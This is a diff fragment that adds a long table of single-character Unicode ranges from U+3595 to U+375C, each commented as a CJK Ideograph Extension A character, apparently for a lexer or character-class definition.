+ ["\u3595", "\u3595"], /* CJK Ideograph Extension A */
+ ["\u3596", "\u3596"], /* CJK Ideograph Extension A */
+ ["\u3597", "\u3597"], /* CJK Ideograph Extension A */
+ ["\u3598", "\u3598"], /* CJK Ideograph Extension A */
+ ["\u3599", "\u3599"], /* CJK Ideograph Extension A */
+ ["\u359A", "\u359A"], /* CJK Ideograph Extension A */
+ ["\u359B", "\u359B"], /* CJK Ideograph Extension A */
+ ["\u359C", "\u359C"], /* CJK Ideograph Extension A */
+ ["\u359D", "\u359D"], /* CJK Ideograph Extension A */
+ ["\u359E", "\u359E"], /* CJK Ideograph Extension A */
+ ["\u359F", "\u359F"], /* CJK Ideograph Extension A */
+ ["\u35A0", "\u35A0"], /* CJK Ideograph Extension A */
+ ["\u35A1", "\u35A1"], /* CJK Ideograph Extension A */
+ ["\u35A2", "\u35A2"], /* CJK Ideograph Extension A */
+ ["\u35A3", "\u35A3"], /* CJK Ideograph Extension A */
+ ["\u35A4", "\u35A4"], /* CJK Ideograph Extension A */
+ ["\u35A5", "\u35A5"], /* CJK Ideograph Extension A */
+ ["\u35A6", "\u35A6"], /* CJK Ideograph Extension A */
+ ["\u35A7", "\u35A7"], /* CJK Ideograph Extension A */
+ ["\u35A8", "\u35A8"], /* CJK Ideograph Extension A */
+ ["\u35A9", "\u35A9"], /* CJK Ideograph Extension A */
+ ["\u35AA", "\u35AA"], /* CJK Ideograph Extension A */
+ ["\u35AB", "\u35AB"], /* CJK Ideograph Extension A */
+ ["\u35AC", "\u35AC"], /* CJK Ideograph Extension A */
+ ["\u35AD", "\u35AD"], /* CJK Ideograph Extension A */
+ ["\u35AE", "\u35AE"], /* CJK Ideograph Extension A */
+ ["\u35AF", "\u35AF"], /* CJK Ideograph Extension A */
+ ["\u35B0", "\u35B0"], /* CJK Ideograph Extension A */
+ ["\u35B1", "\u35B1"], /* CJK Ideograph Extension A */
+ ["\u35B2", "\u35B2"], /* CJK Ideograph Extension A */
+ ["\u35B3", "\u35B3"], /* CJK Ideograph Extension A */
+ ["\u35B4", "\u35B4"], /* CJK Ideograph Extension A */
+ ["\u35B5", "\u35B5"], /* CJK Ideograph Extension A */
+ ["\u35B6", "\u35B6"], /* CJK Ideograph Extension A */
+ ["\u35B7", "\u35B7"], /* CJK Ideograph Extension A */
+ ["\u35B8", "\u35B8"], /* CJK Ideograph Extension A */
+ ["\u35B9", "\u35B9"], /* CJK Ideograph Extension A */
+ ["\u35BA", "\u35BA"], /* CJK Ideograph Extension A */
+ ["\u35BB", "\u35BB"], /* CJK Ideograph Extension A */
+ ["\u35BC", "\u35BC"], /* CJK Ideograph Extension A */
+ ["\u35BD", "\u35BD"], /* CJK Ideograph Extension A */
+ ["\u35BE", "\u35BE"], /* CJK Ideograph Extension A */
+ ["\u35BF", "\u35BF"], /* CJK Ideograph Extension A */
+ ["\u35C0", "\u35C0"], /* CJK Ideograph Extension A */
+ ["\u35C1", "\u35C1"], /* CJK Ideograph Extension A */
+ ["\u35C2", "\u35C2"], /* CJK Ideograph Extension A */
+ ["\u35C3", "\u35C3"], /* CJK Ideograph Extension A */
+ ["\u35C4", "\u35C4"], /* CJK Ideograph Extension A */
+ ["\u35C5", "\u35C5"], /* CJK Ideograph Extension A */
+ ["\u35C6", "\u35C6"], /* CJK Ideograph Extension A */
+ ["\u35C7", "\u35C7"], /* CJK Ideograph Extension A */
+ ["\u35C8", "\u35C8"], /* CJK Ideograph Extension A */
+ ["\u35C9", "\u35C9"], /* CJK Ideograph Extension A */
+ ["\u35CA", "\u35CA"], /* CJK Ideograph Extension A */
+ ["\u35CB", "\u35CB"], /* CJK Ideograph Extension A */
+ ["\u35CC", "\u35CC"], /* CJK Ideograph Extension A */
+ ["\u35CD", "\u35CD"], /* CJK Ideograph Extension A */
+ ["\u35CE", "\u35CE"], /* CJK Ideograph Extension A */
+ ["\u35CF", "\u35CF"], /* CJK Ideograph Extension A */
+ ["\u35D0", "\u35D0"], /* CJK Ideograph Extension A */
+ ["\u35D1", "\u35D1"], /* CJK Ideograph Extension A */
+ ["\u35D2", "\u35D2"], /* CJK Ideograph Extension A */
+ ["\u35D3", "\u35D3"], /* CJK Ideograph Extension A */
+ ["\u35D4", "\u35D4"], /* CJK Ideograph Extension A */
+ ["\u35D5", "\u35D5"], /* CJK Ideograph Extension A */
+ ["\u35D6", "\u35D6"], /* CJK Ideograph Extension A */
+ ["\u35D7", "\u35D7"], /* CJK Ideograph Extension A */
+ ["\u35D8", "\u35D8"], /* CJK Ideograph Extension A */
+ ["\u35D9", "\u35D9"], /* CJK Ideograph Extension A */
+ ["\u35DA", "\u35DA"], /* CJK Ideograph Extension A */
+ ["\u35DB", "\u35DB"], /* CJK Ideograph Extension A */
+ ["\u35DC", "\u35DC"], /* CJK Ideograph Extension A */
+ ["\u35DD", "\u35DD"], /* CJK Ideograph Extension A */
+ ["\u35DE", "\u35DE"], /* CJK Ideograph Extension A */
+ ["\u35DF", "\u35DF"], /* CJK Ideograph Extension A */
+ ["\u35E0", "\u35E0"], /* CJK Ideograph Extension A */
+ ["\u35E1", "\u35E1"], /* CJK Ideograph Extension A */
+ ["\u35E2", "\u35E2"], /* CJK Ideograph Extension A */
+ ["\u35E3", "\u35E3"], /* CJK Ideograph Extension A */
+ ["\u35E4", "\u35E4"], /* CJK Ideograph Extension A */
+ ["\u35E5", "\u35E5"], /* CJK Ideograph Extension A */
+ ["\u35E6", "\u35E6"], /* CJK Ideograph Extension A */
+ ["\u35E7", "\u35E7"], /* CJK Ideograph Extension A */
+ ["\u35E8", "\u35E8"], /* CJK Ideograph Extension A */
+ ["\u35E9", "\u35E9"], /* CJK Ideograph Extension A */
+ ["\u35EA", "\u35EA"], /* CJK Ideograph Extension A */
+ ["\u35EB", "\u35EB"], /* CJK Ideograph Extension A */
+ ["\u35EC", "\u35EC"], /* CJK Ideograph Extension A */
+ ["\u35ED", "\u35ED"], /* CJK Ideograph Extension A */
+ ["\u35EE", "\u35EE"], /* CJK Ideograph Extension A */
+ ["\u35EF", "\u35EF"], /* CJK Ideograph Extension A */
+ ["\u35F0", "\u35F0"], /* CJK Ideograph Extension A */
+ ["\u35F1", "\u35F1"], /* CJK Ideograph Extension A */
+ ["\u35F2", "\u35F2"], /* CJK Ideograph Extension A */
+ ["\u35F3", "\u35F3"], /* CJK Ideograph Extension A */
+ ["\u35F4", "\u35F4"], /* CJK Ideograph Extension A */
+ ["\u35F5", "\u35F5"], /* CJK Ideograph Extension A */
+ ["\u35F6", "\u35F6"], /* CJK Ideograph Extension A */
+ ["\u35F7", "\u35F7"], /* CJK Ideograph Extension A */
+ ["\u35F8", "\u35F8"], /* CJK Ideograph Extension A */
+ ["\u35F9", "\u35F9"], /* CJK Ideograph Extension A */
+ ["\u35FA", "\u35FA"], /* CJK Ideograph Extension A */
+ ["\u35FB", "\u35FB"], /* CJK Ideograph Extension A */
+ ["\u35FC", "\u35FC"], /* CJK Ideograph Extension A */
+ ["\u35FD", "\u35FD"], /* CJK Ideograph Extension A */
+ ["\u35FE", "\u35FE"], /* CJK Ideograph Extension A */
+ ["\u35FF", "\u35FF"], /* CJK Ideograph Extension A */
+ ["\u3600", "\u3600"], /* CJK Ideograph Extension A */
+ ["\u3601", "\u3601"], /* CJK Ideograph Extension A */
+ ["\u3602", "\u3602"], /* CJK Ideograph Extension A */
+ ["\u3603", "\u3603"], /* CJK Ideograph Extension A */
+ ["\u3604", "\u3604"], /* CJK Ideograph Extension A */
+ ["\u3605", "\u3605"], /* CJK Ideograph Extension A */
+ ["\u3606", "\u3606"], /* CJK Ideograph Extension A */
+ ["\u3607", "\u3607"], /* CJK Ideograph Extension A */
+ ["\u3608", "\u3608"], /* CJK Ideograph Extension A */
+ ["\u3609", "\u3609"], /* CJK Ideograph Extension A */
+ ["\u360A", "\u360A"], /* CJK Ideograph Extension A */
+ ["\u360B", "\u360B"], /* CJK Ideograph Extension A */
+ ["\u360C", "\u360C"], /* CJK Ideograph Extension A */
+ ["\u360D", "\u360D"], /* CJK Ideograph Extension A */
+ ["\u360E", "\u360E"], /* CJK Ideograph Extension A */
+ ["\u360F", "\u360F"], /* CJK Ideograph Extension A */
+ ["\u3610", "\u3610"], /* CJK Ideograph Extension A */
+ ["\u3611", "\u3611"], /* CJK Ideograph Extension A */
+ ["\u3612", "\u3612"], /* CJK Ideograph Extension A */
+ ["\u3613", "\u3613"], /* CJK Ideograph Extension A */
+ ["\u3614", "\u3614"], /* CJK Ideograph Extension A */
+ ["\u3615", "\u3615"], /* CJK Ideograph Extension A */
+ ["\u3616", "\u3616"], /* CJK Ideograph Extension A */
+ ["\u3617", "\u3617"], /* CJK Ideograph Extension A */
+ ["\u3618", "\u3618"], /* CJK Ideograph Extension A */
+ ["\u3619", "\u3619"], /* CJK Ideograph Extension A */
+ ["\u361A", "\u361A"], /* CJK Ideograph Extension A */
+ ["\u361B", "\u361B"], /* CJK Ideograph Extension A */
+ ["\u361C", "\u361C"], /* CJK Ideograph Extension A */
+ ["\u361D", "\u361D"], /* CJK Ideograph Extension A */
+ ["\u361E", "\u361E"], /* CJK Ideograph Extension A */
+ ["\u361F", "\u361F"], /* CJK Ideograph Extension A */
+ ["\u3620", "\u3620"], /* CJK Ideograph Extension A */
+ ["\u3621", "\u3621"], /* CJK Ideograph Extension A */
+ ["\u3622", "\u3622"], /* CJK Ideograph Extension A */
+ ["\u3623", "\u3623"], /* CJK Ideograph Extension A */
+ ["\u3624", "\u3624"], /* CJK Ideograph Extension A */
+ ["\u3625", "\u3625"], /* CJK Ideograph Extension A */
+ ["\u3626", "\u3626"], /* CJK Ideograph Extension A */
+ ["\u3627", "\u3627"], /* CJK Ideograph Extension A */
+ ["\u3628", "\u3628"], /* CJK Ideograph Extension A */
+ ["\u3629", "\u3629"], /* CJK Ideograph Extension A */
+ ["\u362A", "\u362A"], /* CJK Ideograph Extension A */
+ ["\u362B", "\u362B"], /* CJK Ideograph Extension A */
+ ["\u362C", "\u362C"], /* CJK Ideograph Extension A */
+ ["\u362D", "\u362D"], /* CJK Ideograph Extension A */
+ ["\u362E", "\u362E"], /* CJK Ideograph Extension A */
+ ["\u362F", "\u362F"], /* CJK Ideograph Extension A */
+ ["\u3630", "\u3630"], /* CJK Ideograph Extension A */
+ ["\u3631", "\u3631"], /* CJK Ideograph Extension A */
+ ["\u3632", "\u3632"], /* CJK Ideograph Extension A */
+ ["\u3633", "\u3633"], /* CJK Ideograph Extension A */
+ ["\u3634", "\u3634"], /* CJK Ideograph Extension A */
+ ["\u3635", "\u3635"], /* CJK Ideograph Extension A */
+ ["\u3636", "\u3636"], /* CJK Ideograph Extension A */
+ ["\u3637", "\u3637"], /* CJK Ideograph Extension A */
+ ["\u3638", "\u3638"], /* CJK Ideograph Extension A */
+ ["\u3639", "\u3639"], /* CJK Ideograph Extension A */
+ ["\u363A", "\u363A"], /* CJK Ideograph Extension A */
+ ["\u363B", "\u363B"], /* CJK Ideograph Extension A */
+ ["\u363C", "\u363C"], /* CJK Ideograph Extension A */
+ ["\u363D", "\u363D"], /* CJK Ideograph Extension A */
+ ["\u363E", "\u363E"], /* CJK Ideograph Extension A */
+ ["\u363F", "\u363F"], /* CJK Ideograph Extension A */
+ ["\u3640", "\u3640"], /* CJK Ideograph Extension A */
+ ["\u3641", "\u3641"], /* CJK Ideograph Extension A */
+ ["\u3642", "\u3642"], /* CJK Ideograph Extension A */
+ ["\u3643", "\u3643"], /* CJK Ideograph Extension A */
+ ["\u3644", "\u3644"], /* CJK Ideograph Extension A */
+ ["\u3645", "\u3645"], /* CJK Ideograph Extension A */
+ ["\u3646", "\u3646"], /* CJK Ideograph Extension A */
+ ["\u3647", "\u3647"], /* CJK Ideograph Extension A */
+ ["\u3648", "\u3648"], /* CJK Ideograph Extension A */
+ ["\u3649", "\u3649"], /* CJK Ideograph Extension A */
+ ["\u364A", "\u364A"], /* CJK Ideograph Extension A */
+ ["\u364B", "\u364B"], /* CJK Ideograph Extension A */
+ ["\u364C", "\u364C"], /* CJK Ideograph Extension A */
+ ["\u364D", "\u364D"], /* CJK Ideograph Extension A */
+ ["\u364E", "\u364E"], /* CJK Ideograph Extension A */
+ ["\u364F", "\u364F"], /* CJK Ideograph Extension A */
+ ["\u3650", "\u3650"], /* CJK Ideograph Extension A */
+ ["\u3651", "\u3651"], /* CJK Ideograph Extension A */
+ ["\u3652", "\u3652"], /* CJK Ideograph Extension A */
+ ["\u3653", "\u3653"], /* CJK Ideograph Extension A */
+ ["\u3654", "\u3654"], /* CJK Ideograph Extension A */
+ ["\u3655", "\u3655"], /* CJK Ideograph Extension A */
+ ["\u3656", "\u3656"], /* CJK Ideograph Extension A */
+ ["\u3657", "\u3657"], /* CJK Ideograph Extension A */
+ ["\u3658", "\u3658"], /* CJK Ideograph Extension A */
+ ["\u3659", "\u3659"], /* CJK Ideograph Extension A */
+ ["\u365A", "\u365A"], /* CJK Ideograph Extension A */
+ ["\u365B", "\u365B"], /* CJK Ideograph Extension A */
+ ["\u365C", "\u365C"], /* CJK Ideograph Extension A */
+ ["\u365D", "\u365D"], /* CJK Ideograph Extension A */
+ ["\u365E", "\u365E"], /* CJK Ideograph Extension A */
+ ["\u365F", "\u365F"], /* CJK Ideograph Extension A */
+ ["\u3660", "\u3660"], /* CJK Ideograph Extension A */
+ ["\u3661", "\u3661"], /* CJK Ideograph Extension A */
+ ["\u3662", "\u3662"], /* CJK Ideograph Extension A */
+ ["\u3663", "\u3663"], /* CJK Ideograph Extension A */
+ ["\u3664", "\u3664"], /* CJK Ideograph Extension A */
+ ["\u3665", "\u3665"], /* CJK Ideograph Extension A */
+ ["\u3666", "\u3666"], /* CJK Ideograph Extension A */
+ ["\u3667", "\u3667"], /* CJK Ideograph Extension A */
+ ["\u3668", "\u3668"], /* CJK Ideograph Extension A */
+ ["\u3669", "\u3669"], /* CJK Ideograph Extension A */
+ ["\u366A", "\u366A"], /* CJK Ideograph Extension A */
+ ["\u366B", "\u366B"], /* CJK Ideograph Extension A */
+ ["\u366C", "\u366C"], /* CJK Ideograph Extension A */
+ ["\u366D", "\u366D"], /* CJK Ideograph Extension A */
+ ["\u366E", "\u366E"], /* CJK Ideograph Extension A */
+ ["\u366F", "\u366F"], /* CJK Ideograph Extension A */
+ ["\u3670", "\u3670"], /* CJK Ideograph Extension A */
+ ["\u3671", "\u3671"], /* CJK Ideograph Extension A */
+ ["\u3672", "\u3672"], /* CJK Ideograph Extension A */
+ ["\u3673", "\u3673"], /* CJK Ideograph Extension A */
+ ["\u3674", "\u3674"], /* CJK Ideograph Extension A */
+ ["\u3675", "\u3675"], /* CJK Ideograph Extension A */
+ ["\u3676", "\u3676"], /* CJK Ideograph Extension A */
+ ["\u3677", "\u3677"], /* CJK Ideograph Extension A */
+ ["\u3678", "\u3678"], /* CJK Ideograph Extension A */
+ ["\u3679", "\u3679"], /* CJK Ideograph Extension A */
+ ["\u367A", "\u367A"], /* CJK Ideograph Extension A */
+ ["\u367B", "\u367B"], /* CJK Ideograph Extension A */
+ ["\u367C", "\u367C"], /* CJK Ideograph Extension A */
+ ["\u367D", "\u367D"], /* CJK Ideograph Extension A */
+ ["\u367E", "\u367E"], /* CJK Ideograph Extension A */
+ ["\u367F", "\u367F"], /* CJK Ideograph Extension A */
+ ["\u3680", "\u3680"], /* CJK Ideograph Extension A */
+ ["\u3681", "\u3681"], /* CJK Ideograph Extension A */
+ ["\u3682", "\u3682"], /* CJK Ideograph Extension A */
+ ["\u3683", "\u3683"], /* CJK Ideograph Extension A */
+ ["\u3684", "\u3684"], /* CJK Ideograph Extension A */
+ ["\u3685", "\u3685"], /* CJK Ideograph Extension A */
+ ["\u3686", "\u3686"], /* CJK Ideograph Extension A */
+ ["\u3687", "\u3687"], /* CJK Ideograph Extension A */
+ ["\u3688", "\u3688"], /* CJK Ideograph Extension A */
+ ["\u3689", "\u3689"], /* CJK Ideograph Extension A */
+ ["\u368A", "\u368A"], /* CJK Ideograph Extension A */
+ ["\u368B", "\u368B"], /* CJK Ideograph Extension A */
+ ["\u368C", "\u368C"], /* CJK Ideograph Extension A */
+ ["\u368D", "\u368D"], /* CJK Ideograph Extension A */
+ ["\u368E", "\u368E"], /* CJK Ideograph Extension A */
+ ["\u368F", "\u368F"], /* CJK Ideograph Extension A */
+ ["\u3690", "\u3690"], /* CJK Ideograph Extension A */
+ ["\u3691", "\u3691"], /* CJK Ideograph Extension A */
+ ["\u3692", "\u3692"], /* CJK Ideograph Extension A */
+ ["\u3693", "\u3693"], /* CJK Ideograph Extension A */
+ ["\u3694", "\u3694"], /* CJK Ideograph Extension A */
+ ["\u3695", "\u3695"], /* CJK Ideograph Extension A */
+ ["\u3696", "\u3696"], /* CJK Ideograph Extension A */
+ ["\u3697", "\u3697"], /* CJK Ideograph Extension A */
+ ["\u3698", "\u3698"], /* CJK Ideograph Extension A */
+ ["\u3699", "\u3699"], /* CJK Ideograph Extension A */
+ ["\u369A", "\u369A"], /* CJK Ideograph Extension A */
+ ["\u369B", "\u369B"], /* CJK Ideograph Extension A */
+ ["\u369C", "\u369C"], /* CJK Ideograph Extension A */
+ ["\u369D", "\u369D"], /* CJK Ideograph Extension A */
+ ["\u369E", "\u369E"], /* CJK Ideograph Extension A */
+ ["\u369F", "\u369F"], /* CJK Ideograph Extension A */
+ ["\u36A0", "\u36A0"], /* CJK Ideograph Extension A */
+ ["\u36A1", "\u36A1"], /* CJK Ideograph Extension A */
+ ["\u36A2", "\u36A2"], /* CJK Ideograph Extension A */
+ ["\u36A3", "\u36A3"], /* CJK Ideograph Extension A */
+ ["\u36A4", "\u36A4"], /* CJK Ideograph Extension A */
+ ["\u36A5", "\u36A5"], /* CJK Ideograph Extension A */
+ ["\u36A6", "\u36A6"], /* CJK Ideograph Extension A */
+ ["\u36A7", "\u36A7"], /* CJK Ideograph Extension A */
+ ["\u36A8", "\u36A8"], /* CJK Ideograph Extension A */
+ ["\u36A9", "\u36A9"], /* CJK Ideograph Extension A */
+ ["\u36AA", "\u36AA"], /* CJK Ideograph Extension A */
+ ["\u36AB", "\u36AB"], /* CJK Ideograph Extension A */
+ ["\u36AC", "\u36AC"], /* CJK Ideograph Extension A */
+ ["\u36AD", "\u36AD"], /* CJK Ideograph Extension A */
+ ["\u36AE", "\u36AE"], /* CJK Ideograph Extension A */
+ ["\u36AF", "\u36AF"], /* CJK Ideograph Extension A */
+ ["\u36B0", "\u36B0"], /* CJK Ideograph Extension A */
+ ["\u36B1", "\u36B1"], /* CJK Ideograph Extension A */
+ ["\u36B2", "\u36B2"], /* CJK Ideograph Extension A */
+ ["\u36B3", "\u36B3"], /* CJK Ideograph Extension A */
+ ["\u36B4", "\u36B4"], /* CJK Ideograph Extension A */
+ ["\u36B5", "\u36B5"], /* CJK Ideograph Extension A */
+ ["\u36B6", "\u36B6"], /* CJK Ideograph Extension A */
+ ["\u36B7", "\u36B7"], /* CJK Ideograph Extension A */
+ ["\u36B8", "\u36B8"], /* CJK Ideograph Extension A */
+ ["\u36B9", "\u36B9"], /* CJK Ideograph Extension A */
+ ["\u36BA", "\u36BA"], /* CJK Ideograph Extension A */
+ ["\u36BB", "\u36BB"], /* CJK Ideograph Extension A */
+ ["\u36BC", "\u36BC"], /* CJK Ideograph Extension A */
+ ["\u36BD", "\u36BD"], /* CJK Ideograph Extension A */
+ ["\u36BE", "\u36BE"], /* CJK Ideograph Extension A */
+ ["\u36BF", "\u36BF"], /* CJK Ideograph Extension A */
+ ["\u36C0", "\u36C0"], /* CJK Ideograph Extension A */
+ ["\u36C1", "\u36C1"], /* CJK Ideograph Extension A */
+ ["\u36C2", "\u36C2"], /* CJK Ideograph Extension A */
+ ["\u36C3", "\u36C3"], /* CJK Ideograph Extension A */
+ ["\u36C4", "\u36C4"], /* CJK Ideograph Extension A */
+ ["\u36C5", "\u36C5"], /* CJK Ideograph Extension A */
+ ["\u36C6", "\u36C6"], /* CJK Ideograph Extension A */
+ ["\u36C7", "\u36C7"], /* CJK Ideograph Extension A */
+ ["\u36C8", "\u36C8"], /* CJK Ideograph Extension A */
+ ["\u36C9", "\u36C9"], /* CJK Ideograph Extension A */
+ ["\u36CA", "\u36CA"], /* CJK Ideograph Extension A */
+ ["\u36CB", "\u36CB"], /* CJK Ideograph Extension A */
+ ["\u36CC", "\u36CC"], /* CJK Ideograph Extension A */
+ ["\u36CD", "\u36CD"], /* CJK Ideograph Extension A */
+ ["\u36CE", "\u36CE"], /* CJK Ideograph Extension A */
+ ["\u36CF", "\u36CF"], /* CJK Ideograph Extension A */
+ ["\u36D0", "\u36D0"], /* CJK Ideograph Extension A */
+ ["\u36D1", "\u36D1"], /* CJK Ideograph Extension A */
+ ["\u36D2", "\u36D2"], /* CJK Ideograph Extension A */
+ ["\u36D3", "\u36D3"], /* CJK Ideograph Extension A */
+ ["\u36D4", "\u36D4"], /* CJK Ideograph Extension A */
+ ["\u36D5", "\u36D5"], /* CJK Ideograph Extension A */
+ ["\u36D6", "\u36D6"], /* CJK Ideograph Extension A */
+ ["\u36D7", "\u36D7"], /* CJK Ideograph Extension A */
+ ["\u36D8", "\u36D8"], /* CJK Ideograph Extension A */
+ ["\u36D9", "\u36D9"], /* CJK Ideograph Extension A */
+ ["\u36DA", "\u36DA"], /* CJK Ideograph Extension A */
+ ["\u36DB", "\u36DB"], /* CJK Ideograph Extension A */
+ ["\u36DC", "\u36DC"], /* CJK Ideograph Extension A */
+ ["\u36DD", "\u36DD"], /* CJK Ideograph Extension A */
+ ["\u36DE", "\u36DE"], /* CJK Ideograph Extension A */
+ ["\u36DF", "\u36DF"], /* CJK Ideograph Extension A */
+ ["\u36E0", "\u36E0"], /* CJK Ideograph Extension A */
+ ["\u36E1", "\u36E1"], /* CJK Ideograph Extension A */
+ ["\u36E2", "\u36E2"], /* CJK Ideograph Extension A */
+ ["\u36E3", "\u36E3"], /* CJK Ideograph Extension A */
+ ["\u36E4", "\u36E4"], /* CJK Ideograph Extension A */
+ ["\u36E5", "\u36E5"], /* CJK Ideograph Extension A */
+ ["\u36E6", "\u36E6"], /* CJK Ideograph Extension A */
+ ["\u36E7", "\u36E7"], /* CJK Ideograph Extension A */
+ ["\u36E8", "\u36E8"], /* CJK Ideograph Extension A */
+ ["\u36E9", "\u36E9"], /* CJK Ideograph Extension A */
+ ["\u36EA", "\u36EA"], /* CJK Ideograph Extension A */
+ ["\u36EB", "\u36EB"], /* CJK Ideograph Extension A */
+ ["\u36EC", "\u36EC"], /* CJK Ideograph Extension A */
+ ["\u36ED", "\u36ED"], /* CJK Ideograph Extension A */
+ ["\u36EE", "\u36EE"], /* CJK Ideograph Extension A */
+ ["\u36EF", "\u36EF"], /* CJK Ideograph Extension A */
+ ["\u36F0", "\u36F0"], /* CJK Ideograph Extension A */
+ ["\u36F1", "\u36F1"], /* CJK Ideograph Extension A */
+ ["\u36F2", "\u36F2"], /* CJK Ideograph Extension A */
+ ["\u36F3", "\u36F3"], /* CJK Ideograph Extension A */
+ ["\u36F4", "\u36F4"], /* CJK Ideograph Extension A */
+ ["\u36F5", "\u36F5"], /* CJK Ideograph Extension A */
+ ["\u36F6", "\u36F6"], /* CJK Ideograph Extension A */
+ ["\u36F7", "\u36F7"], /* CJK Ideograph Extension A */
+ ["\u36F8", "\u36F8"], /* CJK Ideograph Extension A */
+ ["\u36F9", "\u36F9"], /* CJK Ideograph Extension A */
+ ["\u36FA", "\u36FA"], /* CJK Ideograph Extension A */
+ ["\u36FB", "\u36FB"], /* CJK Ideograph Extension A */
+ ["\u36FC", "\u36FC"], /* CJK Ideograph Extension A */
+ ["\u36FD", "\u36FD"], /* CJK Ideograph Extension A */
+ ["\u36FE", "\u36FE"], /* CJK Ideograph Extension A */
+ ["\u36FF", "\u36FF"], /* CJK Ideograph Extension A */
+ ["\u3700", "\u3700"], /* CJK Ideograph Extension A */
+ ["\u3701", "\u3701"], /* CJK Ideograph Extension A */
+ ["\u3702", "\u3702"], /* CJK Ideograph Extension A */
+ ["\u3703", "\u3703"], /* CJK Ideograph Extension A */
+ ["\u3704", "\u3704"], /* CJK Ideograph Extension A */
+ ["\u3705", "\u3705"], /* CJK Ideograph Extension A */
+ ["\u3706", "\u3706"], /* CJK Ideograph Extension A */
+ ["\u3707", "\u3707"], /* CJK Ideograph Extension A */
+ ["\u3708", "\u3708"], /* CJK Ideograph Extension A */
+ ["\u3709", "\u3709"], /* CJK Ideograph Extension A */
+ ["\u370A", "\u370A"], /* CJK Ideograph Extension A */
+ ["\u370B", "\u370B"], /* CJK Ideograph Extension A */
+ ["\u370C", "\u370C"], /* CJK Ideograph Extension A */
+ ["\u370D", "\u370D"], /* CJK Ideograph Extension A */
+ ["\u370E", "\u370E"], /* CJK Ideograph Extension A */
+ ["\u370F", "\u370F"], /* CJK Ideograph Extension A */
+ ["\u3710", "\u3710"], /* CJK Ideograph Extension A */
+ ["\u3711", "\u3711"], /* CJK Ideograph Extension A */
+ ["\u3712", "\u3712"], /* CJK Ideograph Extension A */
+ ["\u3713", "\u3713"], /* CJK Ideograph Extension A */
+ ["\u3714", "\u3714"], /* CJK Ideograph Extension A */
+ ["\u3715", "\u3715"], /* CJK Ideograph Extension A */
+ ["\u3716", "\u3716"], /* CJK Ideograph Extension A */
+ ["\u3717", "\u3717"], /* CJK Ideograph Extension A */
+ ["\u3718", "\u3718"], /* CJK Ideograph Extension A */
+ ["\u3719", "\u3719"], /* CJK Ideograph Extension A */
+ ["\u371A", "\u371A"], /* CJK Ideograph Extension A */
+ ["\u371B", "\u371B"], /* CJK Ideograph Extension A */
+ ["\u371C", "\u371C"], /* CJK Ideograph Extension A */
+ ["\u371D", "\u371D"], /* CJK Ideograph Extension A */
+ ["\u371E", "\u371E"], /* CJK Ideograph Extension A */
+ ["\u371F", "\u371F"], /* CJK Ideograph Extension A */
+ ["\u3720", "\u3720"], /* CJK Ideograph Extension A */
+ ["\u3721", "\u3721"], /* CJK Ideograph Extension A */
+ ["\u3722", "\u3722"], /* CJK Ideograph Extension A */
+ ["\u3723", "\u3723"], /* CJK Ideograph Extension A */
+ ["\u3724", "\u3724"], /* CJK Ideograph Extension A */
+ ["\u3725", "\u3725"], /* CJK Ideograph Extension A */
+ ["\u3726", "\u3726"], /* CJK Ideograph Extension A */
+ ["\u3727", "\u3727"], /* CJK Ideograph Extension A */
+ ["\u3728", "\u3728"], /* CJK Ideograph Extension A */
+ ["\u3729", "\u3729"], /* CJK Ideograph Extension A */
+ ["\u372A", "\u372A"], /* CJK Ideograph Extension A */
+ ["\u372B", "\u372B"], /* CJK Ideograph Extension A */
+ ["\u372C", "\u372C"], /* CJK Ideograph Extension A */
+ ["\u372D", "\u372D"], /* CJK Ideograph Extension A */
+ ["\u372E", "\u372E"], /* CJK Ideograph Extension A */
+ ["\u372F", "\u372F"], /* CJK Ideograph Extension A */
+ ["\u3730", "\u3730"], /* CJK Ideograph Extension A */
+ ["\u3731", "\u3731"], /* CJK Ideograph Extension A */
+ ["\u3732", "\u3732"], /* CJK Ideograph Extension A */
+ ["\u3733", "\u3733"], /* CJK Ideograph Extension A */
+ ["\u3734", "\u3734"], /* CJK Ideograph Extension A */
+ ["\u3735", "\u3735"], /* CJK Ideograph Extension A */
+ ["\u3736", "\u3736"], /* CJK Ideograph Extension A */
+ ["\u3737", "\u3737"], /* CJK Ideograph Extension A */
+ ["\u3738", "\u3738"], /* CJK Ideograph Extension A */
+ ["\u3739", "\u3739"], /* CJK Ideograph Extension A */
+ ["\u373A", "\u373A"], /* CJK Ideograph Extension A */
+ ["\u373B", "\u373B"], /* CJK Ideograph Extension A */
+ ["\u373C", "\u373C"], /* CJK Ideograph Extension A */
+ ["\u373D", "\u373D"], /* CJK Ideograph Extension A */
+ ["\u373E", "\u373E"], /* CJK Ideograph Extension A */
+ ["\u373F", "\u373F"], /* CJK Ideograph Extension A */
+ ["\u3740", "\u3740"], /* CJK Ideograph Extension A */
+ ["\u3741", "\u3741"], /* CJK Ideograph Extension A */
+ ["\u3742", "\u3742"], /* CJK Ideograph Extension A */
+ ["\u3743", "\u3743"], /* CJK Ideograph Extension A */
+ ["\u3744", "\u3744"], /* CJK Ideograph Extension A */
+ ["\u3745", "\u3745"], /* CJK Ideograph Extension A */
+ ["\u3746", "\u3746"], /* CJK Ideograph Extension A */
+ ["\u3747", "\u3747"], /* CJK Ideograph Extension A */
+ ["\u3748", "\u3748"], /* CJK Ideograph Extension A */
+ ["\u3749", "\u3749"], /* CJK Ideograph Extension A */
+ ["\u374A", "\u374A"], /* CJK Ideograph Extension A */
+ ["\u374B", "\u374B"], /* CJK Ideograph Extension A */
+ ["\u374C", "\u374C"], /* CJK Ideograph Extension A */
+ ["\u374D", "\u374D"], /* CJK Ideograph Extension A */
+ ["\u374E", "\u374E"], /* CJK Ideograph Extension A */
+ ["\u374F", "\u374F"], /* CJK Ideograph Extension A */
+ ["\u3750", "\u3750"], /* CJK Ideograph Extension A */
+ ["\u3751", "\u3751"], /* CJK Ideograph Extension A */
+ ["\u3752", "\u3752"], /* CJK Ideograph Extension A */
+ ["\u3753", "\u3753"], /* CJK Ideograph Extension A */
+ ["\u3754", "\u3754"], /* CJK Ideograph Extension A */
+ ["\u3755", "\u3755"], /* CJK Ideograph Extension A */
+ ["\u3756", "\u3756"], /* CJK Ideograph Extension A */
+ ["\u3757", "\u3757"], /* CJK Ideograph Extension A */
+ ["\u3758", "\u3758"], /* CJK Ideograph Extension A */
+ ["\u3759", "\u3759"], /* CJK Ideograph Extension A */
+ ["\u375A", "\u375A"], /* CJK Ideograph Extension A */
+ ["\u375B", "\u375B"], /* CJK Ideograph Extension A */
+ ["\u375C", "\u375C"], /* CJK Ideograph Extension A */
